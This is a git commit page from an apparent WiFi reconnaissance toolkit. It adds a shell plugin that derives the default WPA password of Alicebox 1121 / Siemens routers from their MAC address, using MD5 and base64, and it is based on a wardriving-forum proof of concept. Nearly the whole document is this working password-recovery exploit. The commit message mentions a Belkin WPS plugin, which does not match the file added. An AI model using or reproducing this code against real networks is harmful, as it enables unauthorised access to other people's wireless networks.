summaryrefslogtreecommitdiffstats
path: root/recon/inspect_wifi/plugins/02alice
diff options
context:
space:
mode:
authormakefu <github@syntax-fehler.de>2014-12-22 20:37:44 +0100
committermakefu <github@syntax-fehler.de>2014-12-22 20:37:44 +0100
commitc9eb756542891d07b363116569befa80ccda9e55 (patch)
treeca52e028d80502597639067c05f8871bc5918a75 /recon/inspect_wifi/plugins/02alice
parent3a7a49b9bda4b2df849db827c61aa347a68a96be (diff)
add belkin wps plugin
Diffstat (limited to 'recon/inspect_wifi/plugins/02alice')
-rwxr-xr-xrecon/inspect_wifi/plugins/02alice23
1 files changed, 23 insertions, 0 deletions
diff --git a/recon/inspect_wifi/plugins/02alice b/recon/inspect_wifi/plugins/02alice
new file mode 100755
index 00000000..f30acc3a
--- /dev/null
+++ b/recon/inspect_wifi/plugins/02alice
@@ -0,0 +1,23 @@
+#!/bin/sh
+# Implementation of Alicebox 1121 /Siemens S1621-Z220-A Default Password Algorithm:
+# Based on Poc from
+# http://www.wardriving-forum.de/forum/f275/standard-wlanpassw%F6rter-von-alice-boxen-70287.html
+#
+#
+# ESSID MAC CHANNEL ENCRYPTION
+
+cd $(dirname $(readlink -f $0))
+. ./plugin_core
+
+parse_plugin_args "$@"
+
+if ! check_vendor_mac $VENDOR_MAC "00255E" ;then
+ echo "$VENDOR_MAC not affected"
+ exit 1
+fi
+
+# printf always makes string to lower, need that for correct md5sum
+ETHMAC=$( printf "%012x" $((0x${MAC}-1)) )
+TMP=$(printf $ETHMAC | md5sum)
+printf ${TMP:0:12} | base64
+exit 0